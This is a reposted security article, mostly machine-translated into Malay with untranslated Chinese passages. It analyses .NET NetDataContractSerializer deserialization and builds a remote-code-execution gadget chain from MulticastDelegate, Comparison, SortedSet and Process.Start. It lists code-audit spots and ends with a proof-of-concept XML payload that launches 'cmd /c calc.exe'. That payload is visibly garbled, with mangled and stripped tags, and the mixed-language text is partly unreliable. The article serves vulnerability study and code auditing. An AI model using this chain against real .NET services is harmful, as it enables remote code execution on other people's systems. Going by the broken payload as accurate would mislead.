Rumah  >  Artikel  >  Operasi dan penyelenggaraan  >  Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer

Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer

PHPz
PHPzke hadapan
2023-05-13 21:37:04749semak imbas

1. Prakata

NetDataContractSerializer, seperti DataContractSerializer, digunakan untuk mensiri dan menyahsiri data yang dihantar dalam mesej Windows Communication Foundation (WCF). Terdapat perbezaan penting antara kedua-duanya: NetDataContractSerializer termasuk CLR dan menyokong ketepatan jenis dengan menambahkan maklumat tambahan dan menyimpan rujukan kepada jenis CLR, manakala DataContractSerializer tidak. Oleh itu, NetDataContractSerializer hanya boleh digunakan jika jenis CLR yang sama digunakan pada bahagian bersiri dan penyahserikatan. Untuk mensirikan objek menggunakan kaedah WriteObject atau Serialize, dan untuk menyahsiri aliran XML gunakan kaedah ReadObject atau Deserialize. Dalam sesetengah senario, membaca aliran XML yang berniat jahat akan menyebabkan kerentanan penyahserialisasian, dengan itu mencapai serangan RCE jauh Pengarang artikel ini telah memperkenalkan dan mengeluarkannya dari perspektif prinsip dan pengauditan kod.

2. Bersiri NetDataContractSerializer

Menggunakan WriteObject atau Serialize boleh merealisasikan penukaran antara objek .NET dan data XML dengan mudah pemasangan dan jenis jenis yang bersiri. Maklumat tambahan ini boleh digunakan untuk menyahsiri XML kepada jenis khas, membenarkan jenis yang sama digunakan pada kedua-dua klien dan pelayan. Maklumat tambahan ialah atribut z:Id mempunyai makna yang berbeza pada elemen yang berbeza. Ini digunakan untuk mengendalikan jenis rujukan dan sama ada rujukan boleh dikekalkan apabila XML dinyahsiri Kesimpulan terakhir ialah output ini mengandungi lebih banyak maklumat daripada output DataContractSerializer. Berikut ialah contoh untuk menggambarkan masalah Pertama, tentukan objek TestClass

Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer

Objek TestClass mentakrifkan tiga ahli dan melaksanakan kaedah statik ClassMethod untuk memulakan proses. Serialization memberikan nilai kepada ahli dengan membuat kejadian objek masing-masing

Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer

Pengarang menggunakan Serialize untuk mendapatkan data xml selepas mensiri kelas TestClass

<testclass><age>18</age><classname>360</classname><name>Ivan1ee</name></testclass>

3. NetDataContractSerializer Deserialization

3.1 Prinsip dan penggunaan deserialization

Proses penyahserikatan kelas NetDataContractSerializer adalah untuk menukar aliran XML menjadi objek dan memanggil pelbagai kaedah terlebih beban ReadObject atau Serialize dengan mencipta pelaksanaan kaedah baru, semak definisi dan ketahui bahawa ia mewarisi daripada kelas abstrak XmlObjectSerializer dan antara muka IFormatter

Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer

kelas NetDataContractSerializer melaksanakan kaedah WriteObject dan ReadObject dalam abstrak XmlObjectSerializer. kelas, dan juga melaksanakan kaedah IFormatter yang ditakrifkan dalam. Kod pelaksanaan khusus pengarang yang memanggil kaedah Deserialize dengan mencipta objek baharu boleh dirujuk kepada yang berikut

Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer

Malah, kaedah ReadObject juga dipanggil dalam kaedah Deserialize untuk penyahserialisasian

Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer

Semasa proses penyahserikatan, kaedah ReadObject digunakan untuk memanggil kaedah ReadObjectHandleExceptions, meninggalkan beberapa kod bukan teras, memasukkan badan kaedah InternalReadObject dan penyahsiran untuk mendapatkan sifat objek, dan mencetak nilai Nama ahli.

Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer

3.2 Vektor serangan—MulticastDelegate

Delegasi Berbilang Siar (MulticastDelegate) mewarisi daripada Delegate, dan senarai panggilannya boleh mempunyai perwakilan dengan berbilang elemen jenis perwakilan di atas diperoleh daripada MulticastDelegate. Medan _invocationList kelas MulticastDelegate akan merujuk tatasusunan delegasi semasa membina rantaian delegasi Walau bagaimanapun, untuk mendapatkan lebih kawalan ke atas rantaian perwakilan, anda mesti menggunakan kaedah GetInvocationList Ia mempunyai senarai perwakilan dengan pautan dan memanggil contoh perwakilan . Apabila tiba masanya, panggilan segerak akan dibuat mengikut susunan perwakilan dalam senarai, jadi bagaimana untuk menambah calc.exe ke kaedah senarai GetInvocationList? Mula-mula lihat kelas Perbandingan, yang digunakan dalam Sistem ruang arahan.Collections.Generik dan ditakrifkan seperti berikut

Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer

Kelas Perbandingan mengembalikan perwakilan, dan kemudian menggunakan kelas Perwakilan atau MulticastDelegate Kaedah statik awam Combine menambah perwakilan kepada rantai sebagai pembanding jenis untuk Perbandingan

Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer使用Comparer的静态方法Create创建比较器,比较器对象在.NET集合类中使用的频率较多,也具备了定制的反序列化功能,这里选择SortedSet类,在反序列化的时内部Comparer对象重构了集合的排序。    

Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer多路广播委托的调用列表GetInvocationList方法在内部构造并初始化一个数组,让它的每个元素都引用链中的一个委托,然后返回对该数组的引用,下面代码修改了私有字段_InvocationList并用泛型委托Func返回Process类。    

Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer最后传入攻击载荷后得到完整序列化后的poc,如下    

Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer

四、代码审计

4.1 Deserialize

从代码审计的角度只需找到可控的Path路径就可以被反序列化,例如以下场景:

Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer

4.2 ReadObject

Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer上面两种方式都是很常见的,需要重点关注。

五、复盘

1.  代码中实现读取本地文件内容    

Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer2.  传递poc xml,弹出计算器网页返回200

1.  <arrayofstring><count>2</count> ><comparer><_comparison><delegate><assembly>mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089</assembly> ><delegateentry><assemblyz:ref></assemblyz:ref><methodname>Compare</methodname> ><target></target><targettypename>System.String a:targetTypeName >System.Comparison`1[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]] a:type > a:delegateEntry >Start a:methodName >System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089 >System.Diagnostics.Process a:targetTypeName >System.Func`3[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process,System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]] a:type > Delegate >System.Diagnostics.Process Start(System.String,System.String) Signature >System.Diagnostics.ProcessStart(System.String, System.String) Signature2 >8 MemberType ><genericarguments></genericarguments> method0 >Int32 Compare(System.String, System.String) Signature >System.Int32 Compare(System.String,System.String) >8 MemberType > method1 > _comparison > Comparer >2 Version >/c calc.exe string >cmd string > Items > ArrayOfstring ></targettypename></delegateentry></delegate></_comparison></comparer></arrayofstring>

最后附上动态效果图

Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer

Atas ialah kandungan terperinci Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:yisu.com. Jika ada pelanggaran, sila hubungi admin@php.cn Padam